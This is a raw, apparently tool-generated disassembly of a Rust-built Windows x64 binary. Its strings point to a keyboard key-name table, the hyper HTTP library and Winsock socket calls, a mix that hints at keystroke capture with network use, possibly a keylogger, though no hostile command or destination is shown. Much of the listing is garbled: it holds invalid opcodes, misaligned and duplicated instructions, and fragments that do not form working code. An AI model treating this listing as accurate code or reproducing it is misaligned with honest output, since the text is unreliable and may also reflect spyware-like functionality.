call fcn.140160f40
ud2
call fcn.1400138d0
ud2
mov edx, dword [rsp + 0x3c]
mov dword [rsp + 0x23], edx
cmp cl, 2
add dh, byte [rbp + 0x41]
add dh, byte [rbp + 0x41]
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rbx
mov qword [rsi], 0
mov dword [rsi], 0
jmp 0x1400a0e3d
and al, 0x50
lea rcx, [rsp + 0x28]
call fcn.14005a400
cmp qword [rsp + 0x28], 0
jl 0x1400a0e02
sub byte [rax], al
jl 0x1400a0e02
sub byte [rax], al
je 0x1400a0e27
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 8], xmm0
mov eax, 1
jmp 0x1400a0e3a
mov qword [rsi + 8], rax
mov byte [rsi + 0x10], cl
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x23]
and al, 0x23
mov dword [rsi + 0x11], eax
mov dword [rsi + 0x14], ecx
adc al, 0x48
mov dword [rsi], 1
adc dword [rcx - 0x38b7ebb2], r9d
invalid
test r14, r14
je 0x1400a0e3d
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400a0e3d
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsi + 8], 0
movups xmmword [rsi + 0x10], xmm0
xor eax, eax
mov qword [rsi], rax
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rax], al
ret
add byte [rax], al
ret
add byte [rax], al
ret
add byte [rax], al
ret
ret
ret
add bl, al
mov eax, setsockopt
ret
ret
or eax, 0xc3000000
mov eax, 0x26
ret
ret
add bl, al
mov eax, 4
ret
or eax, dword [rax]
mov qword [rsi], 1
mov qword [rsi + 8], 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x10], 0
add rsi, 0x11
mov r8d, 0x10c
or al, 1
add byte [rax], al
or al, 1
add byte [rax], al
mov rcx, rsi
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
nop
add rsp, 0x238
invalid
cmp byte [rdx], al
add byte [rax], al
add byte [rdi + 0x5e], bl
ret
lea ecx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_synconce.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
shr r9d, 4
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
clc
or al, byte [rcx - 0x45]
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
ret
cmovb r11d, eax
add r11b, r8b
mov byte [rsp + rcx + 0x36], r11b
lea r8, [rcx - 1]
invalid
invalid
cmp edx, 0x10
invalid
mov edx, r9d
jae 0x1400a1a80
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x80
ja 0x1400a1b4d
mov eax, 0x81
sub rax, r8
add rcx, rsp
loope 0x1400a1b15
add rcx, 0x38
add ecx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea r8, [0x140204ae8]
mov r9d, 2
add byte [rcx + rcx*4 - 0x2f], cl
mov dl, 1
jmp 0x1400a1b3d
lea ecx, [rsp + rax]
add rcx, 0x38
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x140204680]
mov rcx, r10
mov ecx, edx
mov dl, 1
xor r9d, r9d
call fcn.140059040
nop
add rsp, 0xb8
invalid
add byte [rax], al
invalid
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
add byte [rax], al
add al, ch
add dh, bl
or eax, dword [rax]
ud2
dec dword [rax + 0x63490016]
add al, 0x80
add rax, r8
jmp rax
lea edx, str.AltAltGrBackspaceCapsLockControlLeftControlRightDeleteDownArrowEndEscapeF1F10F11F12F2F3F4F5F6F7F8F9HomeLeftArrowMetaLeftMetaRightPageDownPageUpReturnRightArrowShiftLeftShiftRightSpaceTabUpArrowPrintScreenScrollLockPauseNumLockBackQuoteNum1Num2Num3Num4Num5Num6Num7Num8Num9Num0MinusEqualKeyQKeyWKeyEKeyRKeyTKeyYKeyUKeyIKeyOKeyPLeftBracketRightBracketKeyAKeySKeyDKeyFKeyGKeyHKeyJKeyKKeyLSemiColonQuoteBackSlashIntlBackslashKeyZKeyXKeyCKeyVKeyBKeyNKeyMCommaDotSlashInsertKpReturnKpMinusKpPlusKpMultiplyKpDivideKp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9KpDeleteFunctionUnknownC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001flazy_static_1.4.0_srcinline_lazy.rs
mov r8d, 3
add rsp, 0x38
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1401d21e3]
mov r8d, 5
add rsp, 0x38
jmp rax
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x130596
invalid
adc eax, dword [rax]
mov r8d, 3
add rsp, 0x38
jmp rax
add eax, 0xb8410013
invalid
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x60]
call fcn.140059e20
nop
add rsp, 0x90
pop rsi
ret
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401d85a1]
adc rax, qword [rax]
mov r8d, 9
jmp rax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add byte [rcx], 0
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
adc byte [0xf84b3e69], dl
jo 0x1400a3e54
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400a3fc6
mov dword [rax], 2
mov qword [rax + 0x58], rdi
lea rcx, [0x1401d2ee0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
jmp 0x1400a3fb0
mov qword [rsi + 8], rax
mov dword [rsi], 2
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
call 0x14c49e551
or byte [rax - 0x7fd9dbbc], 0xe2
invalid
mov eax, dword [rbx + 0x20]
test r8, r8
je 0x1400ac358
mov rdx, qword [rbx + 0x18]
lea rcx, [rsp + 0x38]
call fcn.140082fe0
mov r8, qword [rbx + 0x20]
xor eax, eax
cmp qword [rsp + 0x38], 0
lea rcx, [0x140204aa2]
lea rdx, [0x140204680]
cmovne rdx, rcx
setne al
mov qword [rsp + 0xf0], rdx
mov qword [rsp + 0xf8], rax
test r8, r8
je 0x1400ac373
mov rdx, qword [rbx + 0x18]
lea rcx, [rsp + 0x38]
call fcn.140082fe0
cmp qword [rsp + 0x38], 0
je 0x1400ac373
movzx eax, word [rsp + 0x48]
and al, 0x48
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x58], rcx
lea rcx, fcn.140022090
xchg dword [rdx], edx
add byte [rax - 0x77], cl
and al, 0x60
xchg dword [rdx], edx
add byte [rax - 0x77], cl
and al, 0x60
movzx edx, ax
cmp edx, 0x2710
jb 0x1400ac38f
shr edx, 4
imul edx, edx, 0x347
shr edx, 0x13
imul ecx, edx, 0x2710
sub eax, ecx
movzx ecx, ax
imul ecx, ecx, 0x147b
shr ecx, 0x13
imul r8d, ecx, 0x64
imul eax, ecx, 0x64
imul eax, ecx, 0x64
sub eax, r8d
lea rax, [0x140204680]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
jmp 0x1400ac450
mov ecx, 0x27
cmp ax, 0x63
jbe 0x1400ac3c8
add byte [rax], al
add byte [rsi - 0x7d], ah
clc
invalid
shr edx, 2
imul edx, edx, 0x147b
shr edx, 0x11
imul ecx, edx, 0x64
sub eax, ecx
movzx eax, ax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov bh, 4
mov word [rsp + 0xb5], ax
mov bh, 4
mov word [rsp + 0xb5], ax
mov ecx, 0x25
mov eax, edx
and eax, 0x89000000
shl byte [rsi - 0x7d], 1
clc
or dh, byte [rbx + 0xe]
jae 0x1400ac3dc
cmp ax, 0xa
jae 0x1400ac3dc
or al, 0x30
mov byte [rsp + rcx + 0x8f], al
dec rcx
leave
leave
jmp 0x1400ac3f6
movzx eax, ax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rdx + rax*2]
mov word [rsp + rcx + 0x8e], ax
add rcx, 0xfffffffffffffffe
lea rax, [rsp + rcx]
add rax, 0x90
mov edx, 0x27
sub rdx, rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
and byte [rbp + rcx*4 + 5], cl
invalid
invalid
adc eax, 0x4c8d4800
and al, 0x38
and byte [rbp + rcx*4 + 5], cl
invalid
adc eax, 0x4c8d4800
and al, 0x38
mov dl, 1
xor r9d, r9d
call fcn.140059040
test al, al
jne 0x1400ac832
invalid
add byte [rdi], cl
adc byte [rsp + 0x120], al
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rsp + 0x130]
and al, 0x30
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
add dword [rax], eax
invalid
and al, 0x30
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x73], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x38
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x38], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x1c8]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x68], rax
lea rax, [0x140005df0]
mov qword [rsp + 0x70], rax
lea rax, [0x1401d9948]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 4
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 4
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x90]
call fcn.140014120
cmp qword [rsp + 0x108], 0
je 0x1400ac51d
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x120]
mov r14, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
mov qword [rsp + 0xb0], 0
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], 0
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
lea rdx, [rsp + 0x90]
mov r8, rbx
fsubr st(0)
push rdx
pop rdx
or al, byte [rax]
cmp dword [rsp + 0x38], 2
je 0x1400ac7f8
jg 0x1400ac579
add byte [rax], al
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movups xmm2, xmmword [rsp + 0x58]
movups xmm3, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0xc0], xmm3
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edx
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
test r14, r14
test esi, esi
je 0x1400ac5e1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
or eax, dword [rax]
mov rax, qword [rdi]
mov r9, qword [rdi + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
lea rdx, [rcx + rax]
add rdx, 0x10
lea rcx, [rsp + 0x120]
lea r8, [rsp + 0x90]
call qword [r9 + 0x28]
mov rbx, qword [rsp + 0x120]
cmp rbx, 3
jne 0x1400ac638
mov qword [rsi], 2
cmp qword [rsp + 0xa8], 0
jne 0x1400ac79f
jmp 0x1400ac7b6
movzx eax, byte [rsp + 0x168]
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [rsp + 0x128]
movups xmm1, xmmword [rsp + 0x138]
movups xmm2, xmmword [rsp + 0x148]
movups xmm3, xmmword [rsp + 0x158]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x60], xmm2
movups xmmword [rsp + 0x70], xmm3
mov byte [rsp + 0x80], al
mov ecx, dword [rsp + 0x169]
mov dword [rsp + 0x81], ecx
mov ecx, dword [rsp + 0x16c]
mov dword [rsp + 0x84], ecx
cmp rbx, 2
jne 0x1400ac6c7
lea rcx, [rsp + 0x38]
call fcn.1400ab3d0
mov qword [rsi], 2
cmp qword [rsp + 0xa8], 0
jne 0x1400ac79f
jmp 0x1400ac7b6
lea rcx, [rsp + 0x128]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x1a0], xmm3
movaps xmmword [rsp + 0x190], xmm2
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x170], xmm0
mov edx, dword [rcx + 0x41]
mov ecx, dword [rcx + 0x44]
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x33], ecx
test rbx, rbx
cmp al, 2
jne 0x1400ac750
mov al, 2
cmp byte [rdi + 0x30], 2
je 0x1400ac736
lea rdx, [rdi + 0x28]
mov rax, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
lea rcx, [rsp + 0x38]
call qword [rax]
movzx eax, byte [rdi + 0x30]
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmm2, xmmword [rsp + 0x190]
movaps xmm3, xmmword [rsp + 0x1a0]
movups xmmword [rsi + 0x38], xmm3
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov ecx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x33]
mov dword [rsi + 0x49], ecx
mov dword [rsi + 0x4c], edx
mov qword [rsi], rbx
mov byte [rsi + 0x48], al
cmp qword [rsp + 0xa8], 0
je 0x1400ac7b6
mov r8, qword [rsp + 0xa0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r14
ret
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x90], al
lea rax, [0x1401d99a0]
mov qword [rsp + 0x20], rax
lea rcx, str.should_be_valid_Url
lea r9, [0x1401d4bd8]
lea r8, [rsp + 0x90]
mov edx, reloc.WS2_32.dll_send
call fcn.140161200
ud2
lea rax, [0x140204730]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x1401d4bb8]
lea r8, [rsp + 0x90]
mov edx, 0x37
call fcn.140161200
ud2
lodsb al, byte [rsi]
and al, 7
add dword [rax], eax
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xf
add dword [rax], eax
add byte [rax - 0x77], cl
pushfq
and al, 0x17
add dword [rax], eax
add byte [rax - 0x78], al
mov ah, 0x24
invalid
push rax
mov qword [r15 + 0x58], r13
xor eax, eax
xchg byte [r15 + 0x60], al
movzx eax, byte [r15 + 0x80]
test al, al
mov rdi, qword [rsp + 0x38]
je 0x1400b5cdb
mov al, 1
xchg byte [r15 + 0x48], al
test al, al
jne fcn.1400b64da
movzx eax, byte [r15 + 0x41]
mov byte [r15 + 0x41], 2
cmp al, 2
je 0x1400b64c5
mov rcx, r15
add rcx, 0x10
movzx edx, byte [rcx + 0x30]
mov byte [rsp + 0xb0], dl
movdqu xmm0, xmmword [rcx]
add ebx, esi
movq mm1, qword [rcx + 0x10]
add ebx, esi
movq mm1, qword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0xa0], xmm2
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmmword [rsp + 0x80], xmm0
mov ecx, dword [r15 + 0x42]
mov dword [rsp + 0xb2], ecx
movzx ecx, word [r15 + 0x46]
mov word [rsp + 0xb6], cx
mov word [rsi + rsi*4], fs
add byte [rax], al
add byte [rax + 0xb12484], cl
add byte [rax], al
mov word [rsi + rsi*4], fs
add byte [rax], al
add byte [rax + 0xb12484], cl
add byte [rax], al
xor ecx, ecx
xchg byte [r15 + 0x48], cl
cmp al, 1
cmp al, 1
jbe 0x1400b64cd
cmp al, 3
jne fcn.1400b64da
mov rsi, qword [rdi + 0x38]
test rsi, rsi
je 0x1400b5d4b
mov bl, 1
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x1400b5d14
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
xor edx, edx
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400b5d14
call qword [rax + 0x18]
xchg byte [rsi + 0x78], bl
test bl, bl
jne 0x1400b5d38
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
xor edx, edx
xchg byte [rsi + 0x78], dl
test rax, rax
je 0x1400b5d38
call qword [rax + ioctlsocket]
mov rax, qword [rdi + 0x38]
lock dec qword [rax]
jne 0x1400b5d4b
mov rcx, qword [rdi + 0x38]
call fcn.1400b8ef0
mov qword [rdi + 0x38], r15
mov eax, dword [rsp + 0x188]
mov esi, dword [rsp + 0x1cc]
movdqa xmm0, xmmword [rsp + 0x100]
movdqa xmm1, xmmword [rsp + 0x110]
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
pushfq
and al, 0x30
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x1400b5d21
and al, 0
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x1400b5d22
and al, 0xf0
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x1400b5d23
and al, 0xe0
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x1400b5d24
and al, 0xd0
add dword [rax], eax
add byte [0x17ba627aa], bh
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
add byte [0x17ba627aa], bh
sete al
mov ecx, dword [rsp + 0xf0]
or cl, al
je 0x1400b5dc7
mov rbx, qword [rsp + 0x40]
mov eax, dword [rsp + 0x4c]
test al, al
jne 0x1400b5df4
jmp 0x1400b5de1
lea rcx, [rsp + 0x148]
call fcn.1400b8f60
mov rbx, qword [rsp + 0x40]
mov eax, dword [rsp + 0x4c]
test al, al
jne 0x1400b5df4
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400b5f9b
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test sil, sil
je 0x1400b5ec4
mov byte [rsp + 0x1b8], 2
cmp qword [rdi + 0x30], 0
je 0x1400b5e32
mov byte [rbp + 0x70], 3
add rsp, 0x278
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne case.0x140065142.1945
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400b6456
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400b6456
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.pool_is_disabledC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommonlazy.rs
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
call fcn.1400b7f90
mov qword [rbp], rdi
mov byte [rbp + 0x70], 2
cmp byte [rsp + 0x1b8], 2
je 0x1400b5e1e
lea rcx, [rsp + 0x148]
call fcn.1400b6f00
jmp 0x1400b5e1e
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmm1, xmmword [rsp + 0x1e0]
movaps xmm2, xmmword [rsp + 0x1f0]
movaps xmm3, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0xc0], r14d
rol byte [rax], 0
add byte [rax - 0x75], cl
push rdi
xor byte [rax - 0x73], cl
mov word [rax + rcx*2], fs
add dword [rax], eax
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
clc
call case.0x14010e86a.2
cmp byte [rsp + 0x1b8], 2
je 0x1400b5e13
mov rax, qword [rsp + 0x1b8]
mov qword [rbp + 0x70], rax
jo 0x1400b5f52
adc byte [rsp + 0x1a8], al
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x198]
movups xmmword [rbp + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x188]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x148]
movups xmm1, xmmword [rsp + 0x158]
movups xmm2, xmmword [rsp + 0x168]
movups xmm3, xmmword [rsp + 0x178]
movups xmmword [rbp + 0x30], xmm3
movups xmmword [rbp + 0x20], xmm2
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
jmp 0x1400b5e1e
call fcn.1401666c0
test al, al
jne 0x1400b5df4
mov byte [rbx + 0x18], 1
jmp 0x1400b5df4
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
xor eax, eax
xchg byte [r15 + 0x48], al
jmp fcn.1400b64da
lea rcx, [rsp + 0x80]
call fcn.1400b8f60
push rbx
enter 0xffffffffffff8b4c, 0x43
sar bh, 1
push rax
adc byte [rax - 0x7d], cl
ret
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x1400b8c2d
call qword [rax + ioctlsocket]
xchg byte [rsi + 0x38], bl
test bl, bl
je 0x1400b8cb0
mov rax, qword [rdi + 0xc8]
lock dec qword [rax]
jne 0x1400b8c4d
mov rcx, qword [rdi + 0xc8]
call fcn.140085240
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x1400b8c69
lock dec qword [rax]
jne 0x1400b8c69
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.140069a20
mov rax, qword [rsp + 0x40]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x1400b8c9e
lock dec qword [r8 + 8]
jne 0x1400b8c9e
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x1400b8cc8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
mov rax, qword [rdi + 0xc8]
lock dec qword [rax]
je 0x1400b8c41
jmp 0x1400b8c4d
ret 0x294c
cmp r15, r14
mov r15, qword [rsp + 0x20]
jae 0x1400b8e09
xor r14d, r14d
jmp 0x1400b8d7c
inc r14
cmp rbx, r14
cmp ebx, esi
cmp ebx, esi
je 0x1400b8e09
mov rsi, qword [rdi + r14*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x1400b8db1
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400b8db1
call qword [rax + ioctlsocket]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x1400b8dd0
mov rax, qword [rdi + r14*8]
lock dec qword [rax]
jne 0x1400b8d70
jmp 0x1400b8dfb
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400b8de8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
mov rax, qword [rdi + r14*8]
lock dec qword [rax]
jne 0x1400b8d70
mov rcx, qword [rdi + r14*8]
call fcn.1400b8ef0
jmp 0x1400b8d70
cmp qword [r15 + 8], 0
je 0x1400b8e33
mov r8, qword [r15]
mov rcx, qword [0x140215360]
invalid
invalid
adc eax, 0x48d23100
add esp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
inc rbp
cmp r12, rbp
je 0x1400b8d53
mov rsi, qword [r13 + rbp*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
add byte [rax - 0x7f7979ff], dh
add byte [rax], al
add byte [rax + 0x60468601], dh
test al, al
jne 0x1400b8e92
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400b8e92
call qword [rax + ioctlsocket]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x1400b8eb0
mov rax, qword [r13 + rbp*8]
lock dec qword [rax]
jne 0x1400b8e50
jmp 0x1400b8edc
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400b8ec8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
mov rax, qword [r13 + rbp*8]
lock dec qword [rax]
jne 0x1400b8e50
mov rcx, qword [r13 + rbp*8]
call fcn.1400b8ef0
jmp 0x1400b8e50
mov byte [rax], al
add byte [rax], al
call fcn.140113f70
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rdi + 0x110]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x1400b9090
test rax, rax
jne 0x1400b90d1
mov rax, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov qword [rdi + 0x100], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400b90d1
call qword [rax + ioctlsocket]
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400b90e9
mov rcx, qword [rsi]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400b91d0
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte [rax - 0x75], cl
xchg dword [rax], edx
add dword [rax], eax
add byte [rax + 0x48c18948], dl
or ecx, 2
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x1400b9160
test rax, rax
jne 0x1400b91a1
mov rax, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov qword [rdi + 0x100], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400b91a1
call qword [rax + ioctlsocket]
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x1400b91ba
mov rcx, qword [rsi + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400b91d0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
dec dword [rsi + 8]
jne 0x1400ba2f8
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add rbx, 0x130
dec r14
je 0x1400ba549
cmp dword [rbx - 0x70], 2
je 0x1400ba4b0
movzx eax, byte [rbx - 0x20]
